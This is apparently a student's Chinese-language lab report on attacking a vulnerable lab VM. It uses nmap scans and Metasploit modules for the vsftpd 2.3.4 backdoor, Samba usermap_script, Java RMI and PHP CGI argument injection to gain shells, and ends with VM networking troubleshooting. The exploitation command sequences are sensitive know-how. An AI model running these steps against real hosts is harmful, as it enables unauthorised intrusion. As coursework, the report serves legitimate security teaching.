1.实验内容
1.1本周学习内容
本周主要学习了利用msf实现对漏洞主机攻击的具体实现原理与过程,认识XP系统、win7系统存在的许多可利用漏洞,再次复习了namp的指令,学会了主机发现、系统扫描、漏洞扫描等技术。
1.2实验要求
(1)前期渗透
主机发现
端口扫描
扫描系统版本,漏洞等
(2) Vsftpd源码包后门漏洞(21端口)
(3) SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5) PHP CGI参数执行注入漏洞(80端口)
2.实验过程
2.1 前期渗透
首先在靶机命令行中输入ifconfig
获取IP信息
同样的,也查看攻击方kali的ip
靶机IP:192.168.50.58
kaliIP:192.168.50.139
此时在kali中输入msfconsole
进入控制台
2.1.1 主机发现
主机发现我们主要用到的是arp_sweep这一扫描技术(arp_sweep主要用于发现和识别局域网中活跃的主机。)
于是我们接着在kali中输入search arp_sweep
选择use auxiliary/scanner/discovery/arp_sweep
这一个辅助模块
接着set rhost 192.168.50.58
然后exploit
或run
即可
或者在预先不知道靶机的IP情况下,我们也可以
设置set rhost 192.168.50.0/24
扫描整个网段
于是如图获得目标靶机192.168.50.58 appears to be up (CADMUS COMPUTER SYSTEMS),其中括号部分表示该ip所属设备的MAC地址被识别为CADMUS COMPUTER SYSTEMS,
此时其他IP都未知,意味着这些主机没有响应ARP请求,或者扫描工具无法确定它们的操作系统。
2.1.2 端口扫描
另开一个命令行
输入nmap -p 1-2048 192.168.50.58
获取目标靶机开放端口
然后输入nmap -sV 192.168.50.58
可识别该主机上开放的端口上运行的服务的版本信息
2.1.3 扫描系统版本,漏洞
最后nmap -O 192.168.50.58
进行操作系统检测
注意此处要使用sudo获取root权限才能进行系统扫描
同时还可以输入nmap -script=vuln -T4 192.168.50.58
检查目标主机上运行的服务是否容易受到已知漏洞的影响
-script=vuln:选项,表示运行 nmap 脚本库中所有标记为检查常见漏洞的 NSE(Nmap Scripting Engine)脚本。
-T4:时间参数,表示扫描的速度级别。nmap 的时间参数范围从 0 到 5,其中 0 是最慢(最准确)的扫描,5 是最快(最不准确)的扫描。-T4 表示中等速度的扫描,比 -T5 慢,但比 -T3 快。
2.2 Vsftpd源码包后门漏洞(21端口)
已知靶机21端口处于开放状态
因此回到msfconsole
输入use exploit/unix/ftp/vsftpd_234_backdoor
选择攻击模块
然后set rhost 192.168.50.58
设置攻击目标
于是exploit
监听执行
于是就实现了获取Shell的操作,uname -a、ifconfig等指令都显示确实是在目标主机上操作的。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
此时实验环境改变
靶机IP:172.16.218.65
kaliIP:172.16.217.150
按上述步骤,经过端口扫描,发现靶机139端口开放且存在漏洞
因此我们在kali的msfconsole中
输入search samba
查看可用的漏洞模块
于是use exploit/multi/samba/usermap_script
然后show options
查看需要输入哪些参数
所以再输入set rhost 172.16.218.65
设置被攻击方,即靶机的IP
exploit
可见最终成功获取了目标的Shell,攻击成功
2.4 Java RMI SERVER命令执行漏洞(1099端口)
同理
依次输入search rmi
查看可用相关模块
接着输入use exploit/multi/misc/java_rmi_server
于是show options
查看需要输入哪些参数
然后set rhost 172.16.218.65
最后输入exploit
进行攻击
然后输入shell
此时才获取到靶机的shell权限
可见whoami结果返回root,攻击成功
2.5 PHP CGI参数执行注入漏洞(80端口)
同理
输入search php_cgi
接着use exploit/multi/http/php_cgi_arg_injection
然后show options
于是set rhost 172.16.218.65
最后exploit
最终shell
可见获取到shell权限,攻击成功。
3.问题及解决方案
- 问题1:在vm虚拟机中kali主机与靶机无法建立通信过程,表现为都设置桥接网卡情况下无法互相ping通,因此无法进行本次攻击实验。
- 问题1解决方案:
- 在命令行中输入
ps -ef | grep firewalld | grep -v grep
关闭linux的防火墙 - 手动修改主机控制面板中网络适配器里关于vm虚拟机网卡的ip信息,目的是使两虚拟机中的ip处于同一网段,因为只有同网段才能在交换机间互ping。
- 在虚拟机中同样进行2的修改,windows虚拟机按类似的路径进入该界面,linux则需要根据型号的不同,分别
vi 其网络配置文件地址
,从而修改相应ipv4网络号 - 查看主机wifi所用的网卡型号
在vm导航栏编辑中点击虚拟网格编辑器,点击更改设置,将VMnet0网卡的桥接目标由自动改为主机中wifi的网卡型号
以及许多奇妙的方法,但结果都失败了,特别是手动改网址后其ip反而变成一个网络号都不同的随机ip,直接168.开头。。。
最终我的解决方法是突发奇想,用virtual box以硬盘方式打开vm虚拟机文件中的.vmdk文件,从而实现在virtual box中进行操作而非vm虚拟机,因为virtual box的相关设置我已在之前配好了,以往的实验都是在virtual box里进行的,就是这个vm虚拟机实在是怎么都配不好,请配好的同学看了也还是不行。
4.学习感悟、思考等
在实际网络攻防中,msf为我们实现网络攻击提供了极大的便利,因此我们能以简单的search、use、set、exploit命令实现原先需要许多行代码才能实现得攻击,快的话甚至能在十多秒内实现对目标靶机漏洞的攻击。
实验的难点在于配置一个合适我们进行攻击的靶机,在虚拟机软件中配好相应的靶机环境,确保网络的互通,熟悉关于计算机ipv4的相关设置,弄懂什么是仅主机模式、nat模式、桥接模式等等
如果在上一次渗透作业中我早点想到去查是否可以将vm虚拟机用于virtual box的方法,也许我就可以很顺利地完成那些作业任务,因为我在virtual box中之前是按网上教程配置好了环境,但vm怎么都配不好,且老师给的靶机都是直接用于vm虚拟机的版本,所以结果就是靶机一直不能用于实验,浪费了太多时间在配靶机环境上,实际上最后我成功进行攻击的任务中的可用靶机,都是我在网上找相同型号的可用虚拟机镜像文件从而在virtual box中创建的(网上许多镜像文件也有问题,不能在我的virtual box上创建正常的虚拟机),输入攻击指令并没有花费多少时间。